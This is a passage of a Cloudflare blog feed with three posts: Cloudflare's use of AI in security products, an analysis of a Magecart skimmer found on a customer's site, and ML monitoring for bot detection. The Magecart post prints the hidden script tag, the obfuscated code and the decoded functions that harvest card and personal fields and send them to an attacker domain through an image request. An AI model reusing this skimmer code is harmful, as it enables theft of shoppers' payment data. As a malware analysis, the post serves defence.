            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3oTIWUwe5Em3tD4ACksp6b/0036dcdf5af715f4095ffb14ae9b3769/Screenshot-2024-03-01-at-1.41.23-PM.png" />
            
            </figure><p>One of the big challenges with the WAF is adding protections for new vulnerabilities and false positives. A WAF is a collection of rules designed to identify attacks directed at web applications. New vulnerabilities are discovered daily and at Cloudflare we have a team of security analysts that create new rules when vulnerabilities are discovered. However, manually creating rules takes time — usually hours — leaving applications potentially vulnerable until a protection is in place. The other problem is that attackers continuously evolve and mutate existing attack payloads that can potentially bypass existing rules.</p><p>This is why Cloudflare has, for years, leveraged machine learning models that constantly learn from the latest attacks, deploying mitigations without the need for manual rule creation. This can be seen, for example, in our <a href="/stop-attacks-before-they-are-known-making-the-cloudflare-waf-smarter/">WAF Attack Score</a> solution. WAF Attack Score is based on an ML model trained on attack traffic identified on the Cloudflare network. The resulting classifier allows us to identify variations and bypasses of existing attacks as well as extending the protection to <a href="/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability">new and undiscovered attacks</a>. Recently, we have made Attack Score <a href="/waf-attack-score-for-business-plan">available to all Enterprise and Business plans</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/25Jw91tB0o7lKhsgzvbqPV/748a7365c126ba03e2382b3eff988c37/Screenshot-2024-03-01-at-18.16.22.png" />
            
            </figure><p><i>Attack Score uses AI to classify each HTTP request based on the likelihood that it’s malicious</i></p><p>While the contribution of security analysts is indispensable, in the era of AI and rapidly evolving attack payloads, a <a href="https://www.cloudflare.com/cybersecurity-risk-management/">robust security posture</a> demands solutions that do not rely on human operators to write rules for each novel threat. Combining Attack Score with traditional signature-based rules is an example of how intelligent systems can support tasks carried out by humans. Attack Score identifies new malicious payloads which can be used by analysts to optimize rules that, in turn, provide better training data for our AI models. This creates a reinforcing positive feedback loop improving the overall protection and response time of our WAF.</p><p>Long term, we will adapt the AI model to account for customer-specific traffic characteristics to better identify deviations from normal and benign traffic.</p>
    <div>
      <h3>Using AI to fight phishing</h3>
      <a href="#using-ai-to-fight-phishing">
        
      </a>
    </div>
    <p>Email is one of the most effective vectors leveraged by bad actors with the US Cybersecurity and Infrastructure Security Agency (<a href="https://www.cisa.gov/stopransomware/general-information">CISA</a>) reporting that 90% of cyber attacks start with phishing and Cloudflare Email Security <a href="https://radar.cloudflare.com/year-in-review/2023#malicious-emails">marking 2.6% of 2023's emails as malicious</a>. The rise of AI-enhanced attacks are making traditional email security providers obsolete, as threat actors can now craft phishing emails that are more credible than ever with little to no language errors.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/27B73JPLutOrg6shC9gZnh/3e49607d69ce330333204c3d061d9fa5/Screenshot-2024-03-01-at-1.41.30-PM.png" />
            
            </figure><p>Cloudflare <a href="https://developers.cloudflare.com/email-security/">Email Security</a> is a cloud-native service that stops phishing attacks across all threat vectors. Cloudflare’s email security product continues to protect customers with its AI models, even as trends like Generative AI continue to evolve. Cloudflare’s models analyze all parts of a phishing attack to determine the risk posed to the end user. Some of our AI models are personalized for each customer while others are trained holistically. Privacy is paramount at Cloudflare, so only non-personally identifiable information is used by our tools for training. In 2023, <a href="/2023-phishing-report">Cloudflare processed approximately 13 billion</a>, and blocked 3.4 billion, emails, providing the email security product a rich dataset that can be used to train AI models.</p><p>Two detections that are part of our portfolio are Honeycomb and Labyrinth.</p><ul><li><p><i>Honeycomb</i> is a patented email sender domain reputation model. This service builds a graph of who is sending messages and builds a model to determine risk. Models are trained on specific customer traffic patterns, so every customer has AI models trained on what their good traffic looks like.</p></li><li><p><i>Labyrinth</i> uses ML to protect on a per-customer basis. Actors attempt to spoof emails from our clients’ valid partner companies.  We can gather a list with statistics of known &amp; good email senders for each of our clients. We can then detect the spoof attempts when the email is sent by someone from an unverified domain, but the domain mentioned in the email itself is a reference/verified domain.</p></li></ul><p>AI remains at the core of our email security product, and we are constantly improving the ways we leverage it within our product. If you want to get more information about how we are using our AI models to stop AI enhanced phishing attacks check out our blog post here.</p>
    <div>
      <h3>Zero-Trust security protected and powered by AI</h3>
      <a href="#zero-trust-security-protected-and-powered-by-ai">
        
      </a>
    </div>
    <p>Cloudflare <a href="https://www.cloudflare.com/en-gb/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> provides administrators the tools to protect access to their IT infrastructure by enforcing strict identity verification for every person and device regardless of whether they are sitting within or outside the network perimeter.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qpOOjCeP6yqWtYrSgJdCu/4693906c9faf833a57db45672472f23d/Cloudflare-One-User-Risk-Scores_b.png" />
            
            </figure><p>One of the big challenges is to enforce strict access control while reducing the friction introduced by frequent verifications. Existing solutions also put pressure on IT teams that need to analyze log data to track how risk is evolving within their infrastructure. Sifting through a huge amount of data to find rare attacks requires large teams and substantial budgets.</p><p>Cloudflare simplifies this process by introducing behavior-based user risk scoring. Leveraging AI, we analyze real-time data to identify anomalies in the users’ behavior and signals that could lead to harms to the organization. This provides administrators with recommendations on how to tailor the security posture based on user behavior.</p><p>Zero Trust user risk scoring detects user activity and behaviors that could introduce risk to your organizations, systems, and data and assigns a score of Low, Medium, or High to the user involved. This approach is sometimes referred to as <a href="https://www.cloudflare.com/learning/security/what-is-ueba/">user and entity behavior analytics (UEBA)</a> and enables teams to detect and remediate possible account compromise, company policy violations, and other risky activity.</p><p>The first contextual behavior we are launching is “impossible travel”, which helps identify if a user’s credentials are being used in two locations that the user could not have traveled to in that period of time. These risk scores can be further extended in the future to highlight personalized behavior risks based on contextual information such as time of day usage patterns and access patterns to flag any anomalous behavior. Since all traffic would be proxying through your SWG, this can also be extended to resources which are being accessed, like an internal company repo.</p><p>We have an exciting launch during security week. <a href="/cf1-user-risk-score/">Check out this blog to learn more</a>.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>From application and email security to <a href="https://www.cloudflare.com/network-security/">network security</a> and Zero Trust, we are witnessing attackers leveraging new technologies to be more effective in achieving their goals. In the last few years, multiple Cloudflare product and engineering teams have adopted intelligent systems to better identify abuses and <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">increase protection</a>.</p><p>Besides the generative AI craze, AI is already a crucial part of how we defend digital assets against attacks and how we discourage bad actors.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Phishing]]></category>
            <category><![CDATA[Cloud Email Security]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">76ClOKhWKWuLLPML351f39</guid>
            <dc:creator>Daniele Molteni</dc:creator>
            <dc:creator>John Cosgrove</dc:creator>
            <dc:creator>Ayush Kumar</dc:creator>
            <dc:creator>Ankur Aggarwal</dc:creator>
        </item>
        <item>
            <title><![CDATA[Navigating the maze of Magecart: a cautionary tale of a Magecart impacted website]]></title>
            <link>https://blog.cloudflare.com/navigating-the-maze-of-magecart/</link>
            <pubDate>Mon, 04 Mar 2024 14:00:21 GMT</pubDate>
            <description><![CDATA[ E-commerce websites were targeted by a sophisticated Magecart attack, involving a hidden JavaScript code designed to secretly steal Personally Identifiable Information (PII) and credit card details from users ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The Cloudflare security research team reviews and evaluates scripts flagged by <a href="https://developers.cloudflare.com/page-shield/">Cloudflare Page Shield</a>, focusing particularly on those with low scores according to our machine learning (ML) model, as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection">low scores indicate the model thinks they are malicious</a>. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.</p><p>This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.</p><p>In our quest to decipher the script's purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.</p><p>The Infection Mechanism: A seemingly harmless HTML <code>div</code> element housed a piece of JavaScript, a trojan horse lying in wait.</p>
            <pre><code>&lt;div style="display: none; visibility: hidden;"&gt;
&lt;script src="//cdn.jsdelivr.at/js/sidebar.min.js"&gt;&lt;/script&gt;
&lt;/div&gt;</code></pre>
            <p><i>The script was the conduit for the malicious activities</i></p>
    <div>
      <h2>The devil in the details</h2>
      <a href="#the-devil-in-the-details">
        
      </a>
    </div>
    <p>The script hosted at the aforementioned domain was a piece of obfuscated JavaScript, a common tactic used by attackers to hide their malicious intent from casual observation. The obfuscated code can be examined in detail through the <a href="https://radar.cloudflare.com/scan/6cc5856d-f16d-496d-bfe0-f635bd75bec8/summary">snapshot</a> provided by Cloudflare Radar URL Scanner.</p><p>Obfuscated script snippet:</p>
            <pre><code>function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....</code></pre>
            <p>The primary objective of this script was to steal Personally Identifiable Information (PII), including credit card details. The stolen data was then transmitted to a server controlled by the attackers, located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>.</p>
    <div>
      <h2>Decoding the malicious domain</h2>
      <a href="#decoding-the-malicious-domain">
        
      </a>
    </div>
    <p>Before diving deeper into the exact behaviors of a script, examining the hosted domain and its insights could already reveal valuable arguments for overall evaluation. Regarding the hosted domain <code>cdn.jsdelivr.at</code> used in this script:</p><ul><li><p>It was registered on 2022-04-14.</p></li><li><p>It impersonates the well-known hosting service <a href="https://www.jsdelivr.com/">jsDelivr</a>, which is hosted at <code>cdn.jsdelivr.net</code>.</p></li><li><p>It was registered by 1337team Limited, a company known for providing bulletproof hosting services. These services are frequently utilized in various cybercrime campaigns due to their resilience against law enforcement actions and their ability to host illicit activities without interruption.</p></li><li><p>Previous mentions of this hosting provider, such as in a tweet by <a href="https://twitter.com/malwrhunterteam/status/1374703390748520448">@malwrhunterteam</a>, highlight its involvement in cybercrime activities. This further emphasizes the reputation of 1337team Limited in the cybercriminal community and its role in facilitating malicious campaigns.</p></li></ul>
    <div>
      <h2>Decoding the malicious script</h2>
      <a href="#decoding-the-malicious-script">
        
      </a>
    </div>
    <p>Data Encoding and Decoding Functions: The script uses two functions, <code>wvnso.jzzys</code> and <code>wvnso.cvdqe</code>, for encoding and decoding data. They employ Base64 and URL encoding techniques, common methods in malware to conceal the real nature of the data being sent.</p>
            <pre><code>var wvnso = {
  "jzzys": function (_0x5f38f3) {
    return btoa(encodeURIComponent(_0x5f38f3).replace(/%([0-9A-F]{2})/g, function (_0x7e416, _0x1cf8ee) {
      return String.fromCharCode('0x' + _0x1cf8ee);
    }));
  },
  "cvdqe": function (_0x4fdcee) {
    return decodeURIComponent(Array.prototype.map.call(atob(_0x4fdcee), function (_0x273fb1) {
      return '%' + ('00' + _0x273fb1.charCodeAt(0x0).toString(0x10)).slice(-0x2);
    }).join(''));
  }</code></pre>
            <p>Targeted Data Fields: The script is designed to identify and monitor specific input fields on the website. These fields include sensitive information like credit card numbers, names, email addresses, and other personal details. The <code>wvnso.cwwez</code> function maps these fields, showing that the attackers had carefully studied the website’s layout.</p>
            <pre><code>"cwwez": window.JSON.parse(wvnso.cvdqe("W1siZmllbGQiLCAiaWZyYW1lIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsibmFtZSIsICJmaXJzdG5hbWUiLCAwLCAiZiIsICJIb2xkZXIiXSwgWyJuYW1lIiwgImxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiZmllbGQiLCAiaWZyYW1lIiwgMCwgImUiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImlmcmFtZSIsIDAsICJjIiwgIkNWViJdLCBbImlkIiwgImN1c3RvbWVyLWVtYWlsIiwgMCwgImVsIiwgImVtYWlsIl0sIFsibmFtZSIsICJ0ZWxlcGhvbmUiLCAwLCAicGUiLCAicGhvbmUiXSwgWyJuYW1lIiwgImNpdHkiLCAwLCAiY3kiLCAiY2l0eSJdLCBbIm5hbWUiLCAicmVnaW9uX2lkIiwgMywgInNlIiwgInN0YXRlIl0sIFsibmFtZSIsICJyZWdpb24iLCAwLCAic2UiLCAic3RhdGUiXSwgWyJuYW1lIiwgImNvdW50cnlfaWQiLCAwLCAiY3QiLCAiQ291bnRyeSJdLCBbIm5hbWUiLCAicG9zdGNvZGUiLCAwLCAienAiLCAiWmlwIl0sIFsiaWQiLCAiY3VzdG9tZXItcGFzc3dvcmQiLCAwLCAicGQiLCAicGFzc3dvcmQiXSwgWyJuYW1lIiwgWyJzdHJlZXRbMF0iLCAic3RyZWV0WzFdIiwgInN0cmVldFsyXSJdLCAwLCAiYXMiLCAiYWRkciJdXQ==")),</code></pre>
            <p>Data Harvesting Logic: The script uses a set of complex functions ( <code>wvnso.uvesz</code>,  <code>wvnso.wsrmf</code>, etc.) to check each targeted field for user input. When it finds the data it wants (like credit card details), it collects ("harvests") this data and gets it ready to be sent out ("<a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrated</a>").</p>
            <pre><code>"uvesz": function (_0x52b255) {
    for (var _0x356fbe = 0x0; _0x356fbe &lt; wvnso.cwwez.length; _0x356fbe++) {
      var _0x25348a = wvnso.cwwez[_0x356fbe];
      if (_0x52b255.hasAttribute(_0x25348a[0x0])) {
        if (typeof _0x25348a[0x1] == "object") {
          var _0xca9068 = '';
          _0x25348a[0x1].forEach(function (_0x450919) {
            var _0x907175 = document.querySelector('[' + _0x25348a[0x0] + "=\"" + _0x450919 + "\"" + ']');
            if (_0x907175 != null &amp;&amp; wvnso.wsrmf(_0x907175, _0x25348a[0x2]).length &gt; 0x0) {
              _0xca9068 += wvnso.wsrmf(_0x907175, _0x25348a[0x2]) + " ";
            }
          });
          wvnso.krwon[_0x25348a[0x4]] = _0xca9068.trim();
        } else {
          if (_0x52b255.attributes[_0x25348a[0x0]].value == _0x25348a[0x1] &amp;&amp; wvnso.wsrmf(_0x52b255, _0x25348a[0x2]).length &gt; 0x0) {
            if (_0x25348a[0x3] == 'l') {
              wvnso.krwon[_0x25348a[0x4]] += " " + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
            } else {
              if (_0x25348a[0x3] == 'y') {
                wvnso.krwon[_0x25348a[0x4]] += '/' + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              } else {
                wvnso.krwon[_0x25348a[0x4]] = wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              }
            }
          }
        }
      }
    }
  }</code></pre>
            <p>Stealthy Data Exfiltration: After harvesting the data, the script sends it secretly to the attacker's server (located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>). This process is done in a way that mimics normal Internet traffic, making it hard to detect. It creates an Image HTML element programmatically (not displayed to the user) and sets its src attribute to a specific URL. This URL is the attacker's server where the stolen data is sent.</p>
            <pre><code>"eubtc": function () {
    var _0x4b786d = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    if (wvnso.pqemy() &amp;&amp; !(wvnso.rnhok.indexOf(_0x4b786d) != -0x1)) {
      wvnso.rnhok.push(_0x4b786d);
      var _0x49c81a = wvnso.spyed.createElement("IMG");
      _0x49c81a.src = wvnso.cvdqe("aHR0cHM6Ly9qc2RlbGl2ci5hdC9mLnBocA==") + '?hash=' + _0x4b786d;
    }
  }</code></pre>
            <p>Persistent Monitoring: The script keeps a constant watch on user input. This means that any data entered into the targeted fields is captured, not just when the page first loads, but continuously as long as the user is on the page.</p><p>Execution Interval: The script is set to activate its data-collecting actions at regular intervals, as shown by the <code>window.setInterval(wvnso.bumdr, 0x1f4)</code> function call. This ensures that it constantly checks for new user input on the site.</p>
            <pre><code>window.setInterval(wvnso.bumdr, 0x1f4);</code></pre>
            <p>Local Data Storage: Interestingly, the script uses local storage methods (wvnso.hajfd, wvnso.ijltb) to keep the collected data on the user's device. This could be a way to prevent data loss in case there are issues with the Internet connection or to gather more data before sending it to the server.</p>
            <pre><code>"ijltb": function () {
    var _0x19c563 = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    window.localStorage.setItem("oybwd", _0x19c563);
  },
  "hajfd": function () {
    var _0x1318e0 = window.localStorage.getItem("oybwd");
    if (_0x1318e0 !== null) {
      wvnso.krwon = window.JSON.parse(wvnso.cvdqe(_0x1318e0));
    }
  }</code></pre>
            <p>This JavaScript code is a sophisticated tool for stealing sensitive information from users. It's well-crafted to avoid detection, gather detailed information, and transmit it discreetly to a remote server controlled by the attackers.</p>
    <div>
      <h2>Proactive detection</h2>
      <a href="#proactive-detection">
        
      </a>
    </div>
    <p><a href="/detecting-magecart-style-attacks-for-pageshield">Page Shield's existing machine learning algorithm</a> is capable of automatically detecting malicious JavaScript code. As cybercriminals evolve their attack methods, we are constantly improving our detection and defense mechanisms. An upcoming version of our ML model, an artificial neural network, has been designed to maintain high recall (i.e., identifying the many different types of malicious scripts) while also providing a low false positive rate (i.e., reducing false alerts for benign code). The new version of Page Shield's ML automatically flagged the above script as a Magecart type attack with a very high probability. In other words, our ML correctly identified a novel attack script operating in the wild! Cloudflare <a href="https://developers.cloudflare.com/page-shield/get-started/">customers with Page Shield enabled</a> will soon be able to take further advantage of our latest ML's superior protection for client-side security. Stay tuned for more details.</p>
    <div>
      <h2>What you can do</h2>
      <a href="#what-you-can-do">
        
      </a>
    </div>
    <p>The attack on a Cloudflare customer is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security measures for websites, especially those handling sensitive user data. This incident is a reminder that cybersecurity is not just about protecting data but also about safeguarding the trust and well-being of users.</p><p>We recommend the following actions to <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">enhance security and protect against similar threats</a>. Our comprehensive security model includes several products specifically designed to safeguard web applications and sensitive data:</p><ol><li><p><a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/"><b>Implement WAF Managed Rule Product</b></a>: This solution offers robust protection against known attacks by monitoring and filtering HTTP traffic between a web application and the Internet. It effectively guards against common web exploits.</p></li><li><p><a href="/tag/waf-attack-score"><b>Deploy ML-Based WAF Attack Score</b></a>: Our ML-based WAF, known as <b>Attack Score</b>, is specifically engineered to defend against previously unknown attacks. It uses advanced machine learning algorithms to analyze web traffic patterns and identify potential threats, providing an additional layer of security against sophisticated and emerging threats.</p></li><li><p><b>Use</b> <a href="https://www.cloudflare.com/application-services/products/page-shield/"><b>Page Shield</b></a>: Page Shield is designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your website, helping you identify malicious activity and proactively prevent client-side attacks, such as theft of sensitive customer data. This tool is crucial for preventing data breaches originating from compromised third-party vendors or scripts running in the browser.</p></li><li><p><a href="https://developers.cloudflare.com/waf/managed-rules/"><b>Activate Sensitive Data Detection (SDD)</b></a>: <b>SDD</b> alerts you if certain sensitive data is being exfiltrated from your website, whether due to an attack or a configuration error. This feature is essential for maintaining compliance with data protection regulations and for promptly addressing any unauthorized data leakage.</p></li></ol><p>....</p><p><sup>1</sup></p><p>[1]: <a href="https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore">https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore</a></p><p>[2]: <a href="https://www.bizcommunity.com/Article/196/661/241908.html">https://www.bizcommunity.com/Article/196/661/241908.html</a></p><p>[3]: <a href="https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/">https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/</a></p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Magecart]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">4odIoq7Ft2hBT870pJ4OAf</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[Monitoring machine learning models for bot detection]]></title>
            <link>https://blog.cloudflare.com/monitoring-machine-learning-models-for-bot-detection/</link>
            <pubDate>Fri, 16 Feb 2024 14:00:05 GMT</pubDate>
            <description><![CDATA[ We recently shared an introduction to Cloudflare’s approach to MLOps, which provides a holistic overview of model training and deployment processes at Cloudflare. In this post, we will dig deeper into monitoring, and how we continuously evaluate the models that power Bot Management ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/VESHCwzMz14WZD7uL9VfD/b448fcd03ff4209734a660fa01b3ea8a/image4-5.png" />
            
            </figure><p>Cloudflare’s <a href="/cloudflare-bot-management-machine-learning-and-more/">Bot Management</a> is used by organizations around the world to proactively detect and mitigate automated bot traffic. To do this, Cloudflare leverages machine learning models that help predict whether a particular HTTP request is coming from a bot or not, and further distinguishes between benign and malicious bots. Cloudflare serves over 55 million HTTP requests per second — so our machine learning models need to run at Cloudflare scale.</p><p>We are constantly making improvements to the models that power Bot Management to ensure they are incorporating the latest threat intelligence. This process of iteration is an important part of ensuring our customers stay a step ahead of malicious actors, and it requires a rigorous process for experimentation, deployment, and ongoing observation.</p><p>We recently shared an introduction to <a href="/mlops/">Cloudflare’s approach to MLOps</a>, which provides a holistic overview of model training and deployment processes at Cloudflare. In this post, we will dig deeper into monitoring, and how we continuously evaluate the models that power <a href="https://www.cloudflare.com/learning/bots/what-is-bot-management/">Bot Management</a>.</p>
    <div>
      <h2>Why monitoring matters</h2>
      <a href="#why-monitoring-matters">
        
      </a>
    </div>
    <p>Before bot detection models are released, we undergo an extensive model testing/validation process to ensure our detections perform as expected. Model performance is validated across a wide number of web traffic segments, by browser, HTTP protocol, and other dimensions to get a fine-grained view into how we expect the model to perform once deployed. If everything checks out, the model is gradually released into production, and we get a level up in our bot detections.</p><p>After models are deployed to production, it can be challenging to get visibility into performance on a granular level. Sure, we can look at outcomes-based metrics — like <a href="https://developers.cloudflare.com/bots/concepts/bot-score/#:~:text=A%20bot%20score%20is%20a,request%20came%20from%20a%20human.">bot score</a> distributions, or <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/actions/">challenge</a> solve rates. These are informative, but with any change in bot scoring or challenge solve rates, we're still left asking, "Which segments of web traffic are most impacted by this change? Was that expected?".</p><p>To train a model for the Internet is to train a model against a moving target. Anyone can train a model on static data and achieve great results — so long as the input does not change. Building a model that generalizes into the future, with new threats, browsers, and bots is a more difficult task. Machine learning monitoring is an important part of the story because it provides confidence that our models continue to generalize, using a rigorous and repeatable process.</p><p>In the days before machine learning monitoring, the team would analyze web traffic patterns and model scoring results to track the proportion of web requests scored as bot or human. This high-level metric is helpful for evaluating performance of the model in the aggregate, but didn’t provide granular detail into how the model was behaving with particular types of traffic. For a deeper analysis, we’d be left with the additional work of investigating performance on individual traffic segments like traffic from Chrome browser or clients using iOS.</p><p>With machine learning monitoring, we get insights into how the model behaves not just at a high level, but in a much more granular way — without having to do a lot of manual investigation. The monitoring closes the feedback loop by answering the critical question: "How are our bot detection models performing <i>in production?"</i> Monitoring gives us the same level of confidence derived from pre-deployment model validation/testing, except applied to all models in production.</p><p>The use cases for which monitoring has proven invaluable include:</p><ul><li><p><b>Investigating bot score anomalies</b>: If a customer reports machine learning scoring false positives/negatives, and we suspect broader issues across a subset of detections, monitoring can help zero-in on the answer. Engineers can find insights from our global monitoring dashboard, or focus on performance for a specific dataset.</p></li><li><p><b>Monitoring any model predictions or request field</b>: The monitoring service is flexible and can add <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">an observability layer</a> over any request artifact stored in our web requests databases. If model predictions or outcomes of interest are stored with our request logs, then they can be monitored. We can work across engineering teams to enable monitoring for any outcome.</p></li><li><p><b>Deploying new models</b>: We gradually deploy new model versions, eventually ramping up to running across Cloudflare’s global web traffic. Along the way, we have a series of checks before a new model can be deployed to the next release step. Monitoring allows us to compare the latest model with the previous version against granular traffic segments at each deployment stage — giving us confidence when proceeding forward with the rollout.</p></li></ul>
    <div>
      <h2>How does machine learning monitoring work?</h2>
      <a href="#how-does-machine-learning-monitoring-work">
        
      </a>
    </div>
    <p>The process begins with a ground-truth dataset — a set of traffic data known to be either human or bot-generated, labeled accordingly and accurately. If our model identifies a particular request as bot traffic, when our ground-truth label indicates it originated from a human, then we know the model has miscategorized the request, and vice versa. This kind of labeled data, where we flag traffic as being from a bot or a human, is what our model is trained on to learn to make detections in the first place.</p><p>Datasets gathered at training time allow us to evaluate the performance of a trained model for that snapshot in time. Since we want to continuously evaluate model performance in production, we need to likewise get real-time labeled data to compare against our bot score. We can generate a labeled dataset for this purpose when we’re certain that web requests come from a certain actor. For example, our <a href="https://developers.cloudflare.com/bots/concepts/bot-score/#heuristics">heuristics engine</a> is one source of high-confidence labeled data. Other sources of reliable, labeled data include customer feedback and attack pattern research.</p><p>We can directly compare our model’s bot scores on web requests against recently-labeled datasets to judge model performance. To ensure that we are making an apples-to-apples comparison as we evaluate the model’s score over time, consistency is paramount: the data itself will be different, but we want the methodology, conditions, and filters to remain the same between sampling windows. We have automated this process, allowing us to generate labeled datasets in real-time that give us an up-to-the-minute view of model performance.</p>
    <div>
      <h3>Getting granular performance metrics</h3>
      <a href="#getting-granular-performance-metrics">
        
      </a>
    </div>
    <p>Let's say we detect a sudden drop in accuracy on a given dataset labeled as bot traffic, meaning our detection is incorrectly scoring bots as human traffic. We would be keen to determine the exact subset of traffic responsible for the scoring miss. Is it coming from the latest Chrome browser or maybe a certain <a href="https://www.cloudflare.com/en-gb/learning/network-layer/what-is-an-autonomous-system/">ASN</a>?</p><p>To answer this, performance monitoring uses specializations, which are filters applied against our dataset that focus on a dimension of interest (e.g. browser type, ASN). With specializations on datasets, we get both an expectation on how traffic <i>should </i> have been scored, and insight into the exact dimension causing the miss.</p>
    <div>
      <h3>Integrating monitoring into our bots machine learning platform</h3>
      <a href="#integrating-monitoring-into-our-bots-machine-learning-platform">
        
      </a>
    </div>
    <p>The monitoring system runs on a unified platform called <i>Endeavor,</i> which we built to handle all aspects of bots-related machine learning, including model training and validation, model interpretability, and delivering the most up-to-date information to our servers running bot detection. We can break down monitoring into a few tasks: rendering monitoring queries to fetch datasets, computing performance metrics, and storing metrics. Endeavour uses <a href="https://airflow.apache.org/">Airflow</a>, a workflow execution engine, making it a great place to run our monitoring tasks on top of a kubernetes cluster and GPUs, with access to Postgres and <a href="https://clickhouse.com/">ClickHouse</a> databases.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/52wZKzjuR1lNMYAdyFS0Kb/1bcfe3a0f290772ee1cbd369cbcdf937/Monitoring-machine-learning-models-for-bot-detection.png" />
            
            </figure>
    <div>
      <h3>Rendering monitoring queries</h3>
      <a href="#rendering-monitoring-queries">
        
      </a>
    </div>
    <p>A monitoring query is simply a SQL query to our <a href="/http-analytics-for-6m-requests-per-second-using-clickhouse/">ClickHouse web request database</a> asking "How does machine learning scoring look right now?". The query gets more precise when we add in dataset and specialization conditions so that we can ask a more refined question "For this set of known (non-)automated traffic, how does machine learning scoring look along these dimensions of interest?".</p><p>In our system, datasets for training and validation are determined using SQL queries, which are tailored to capture segments of request traffic, such as traffic flagged as bots by our heuristics engine. For model monitoring, we adapt these queries to measure performance metrics like accuracy and continuously update the time range to measure the latest model performance. For each dataset used in training and validation, we can generate a monitoring query that produces real-time insight into model performance.</p>
    <div>
      <h3>Computing performance metrics</h3>
      <a href="#computing-performance-metrics">
        
      </a>
    </div>
    <p>With a rendered monitoring query ready, we can go ahead and fetch bot score distributions from our web request database. The <code>MetricsComputer</code> takes in the bot score distributions as input and produces relevant performance metrics, like accuracy, over a configurable time interval.</p><p>We can evaluate model performance along any metric of interest. The <code>MetricInterface</code> is a Python interface that acts as a blueprint for performance metrics. Any newly added metric would only need to implement the interface's <code>compute_metric</code> method, which defines how the <code>MetricsComputer</code> should perform the calculation.</p>
    <div>
      <h3>Storing metrics</h3>
      <a href="#storing-metrics">
        
      </a>
    </div>
    <p>After each monitoring run, we store performance metrics by dataset, model version, and specialization value in the <code>ml_performance</code> ClickHouse table. Precomputing metrics enables long data retention periods, so we can review model performance by model versions or dimensions of interest over time. Importantly, newly added performance metrics can be backfilled as needed since the <code>ml_performance</code> table also stores the score distributions used to compute each metric.</p>
    <div>
      <h3>Running tasks on GPUs</h3>
      <a href="#running-tasks-on-gpus">
        
      </a>
    </div>
